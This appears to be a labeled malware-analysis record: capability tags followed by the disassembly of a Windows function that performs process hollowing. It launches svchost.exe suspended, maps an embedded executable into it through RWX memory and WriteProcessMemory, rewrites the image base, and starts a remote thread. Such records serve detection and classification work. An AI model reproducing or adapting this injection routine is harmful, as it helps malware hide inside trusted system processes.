Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rbp
push r12
push r14
sub rsp, 0x130
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x120], rax
movsxd rbp, dword [0x14000507c]
lea r12, [0x140005040]
xorps xmm0, xmm0
mov dword [rsp + 0xb0], 0x68
movups xmmword [rsp + 0xb8], xmm0
lea rcx, [0x140003310]
add rbp, r12
movups xmmword [r11 - 0x80], xmm0
movups xmmword [r11 - 0x70], xmm0
movups xmmword [r11 - 0x60], xmm0
movups xmmword [r11 - 0x50], xmm0
movups xmmword [r11 - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rbp], 0x4550
mov rbx, rax
je 0x14000109b
mov eax, 1
jmp 0x1400012fc
lea rax, [rsp + 0x58]
mov qword [rsp + 0x160], r15
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_svchost.exe
xor r15d, r15d
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400010f6
lea rdx, str.CreateProcess_failed:
jmp 0x140001147
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0xa0]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
xor edx, edx
call rbx
mov r8d, dword [rbp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x58]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140001181
lea rdx, str.VirtualAllocEx_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400013a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400012f4
mov r9d, dword [rbp + 0x54]
mov r8, r12
mov rcx, qword [rsp + 0x58]
mov rdx, rax
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, r15d
movsxd rax, dword [0x14000507c]
cmp r15w, word [rbp + 6]
jae 0x140001243
mov qword [rsp + 0x158], rdi
lea rdi, [r12 + 0x11c]
add rdi, rax
nop dword [rax + rax]
mov r8d, dword [rdi]
mov edx, dword [rdi - 8]
add r8, r12
add rdx, qword [rsp + 0x50]
mov r9d, dword [rdi - 4]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000122d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_write_section:
call fcn.1400013a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [rbp + 6]
add rdi, 0x28
inc esi
cmp esi, eax
jl 0x1400011d0
mov rdi, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rsi, qword [rsp + 0x150]
test eax, eax
jne 0x1400012aa
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_write_ImgBaseAddress:
call fcn.1400013a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, dword [rbp + 0x28]
xor r8d, r8d
add r9, qword [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov r15, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.1400015c0
mov rbx, qword [rsp + 0x168]
add rsp, 0x130
pop r14
pop r12
pop rbp
ret